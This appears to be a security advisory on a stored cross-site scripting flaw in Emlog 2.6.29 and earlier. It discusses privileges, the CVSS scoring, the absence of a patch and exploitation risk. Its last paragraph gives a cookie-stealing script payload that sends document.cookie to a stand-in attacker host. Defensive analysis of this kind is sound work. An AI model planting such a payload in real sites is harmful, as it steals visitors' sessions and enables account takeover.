Emlog CVE-2026-53758

Exploitation requires the ability to create or edit articles within an Emlog instance running version 2.6.29 or earlier. The provided CVSS 4.0 vector rates this PR:N (no privileges required), suggesting unauthenticated content submission may be possible in some Emlog configurations; however, if Emlog's default installation requires author-level authentication to submit articles, PR:L applies and the attacker must first obtain valid credentials. Once a malicious article is stored, payload execution affects all site visitors who load the article page - no special victim action beyond a normal page visit is needed. No non-default server configuration is required on the victim side; the unsafe Parsedown behavior is present in the default Emlog installation. Exploitation is limited to instances running version 2.6.29 or earlier; the exact version boundary for a patched release has not been established.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VI:H) yields a score of 8.7. The PR:N rating - implying no authentication is required to inject - warrants independent verification against Emlog's content-submission model: if article creation requires author-level credentials, the effective attacker population is substantially smaller than PR:N suggests, and the real exploitability is closer to PR:L. The UI:N rating in CVSS 4.0 is a known scoring convention for stored XSS where the payload fires automatically on page load, but defenders should understand that victims must navigate to the affected article for execution to occur. No public exploit has been published and this CVE is absent from CISA KEV, indicating no confirmed in-the-wild exploitation at time of analysis. The absence of a patch is the primary risk amplifier: operators have no vendor-provided fix to apply and must rely entirely on compensating controls, increasing the dwell-time window for any attacker who does exploit this path.

An attacker with article-creation privileges (or without, if Emlog permits unauthenticated submission) creates or edits an article embedding a <script>document.location='https://attacker.example/steal?c='+document.cookie</script> tag in the Markdown body. The payload is stored in the Emlog database and executes automatically in the browser of every visitor who loads the article page, enabling session token exfiltration and subsequent account takeover. No public proof-of-concept code exists, but the technique requires only basic knowledge of Parsedown's unsafe-mode behavior, making independent reproduction straightforward.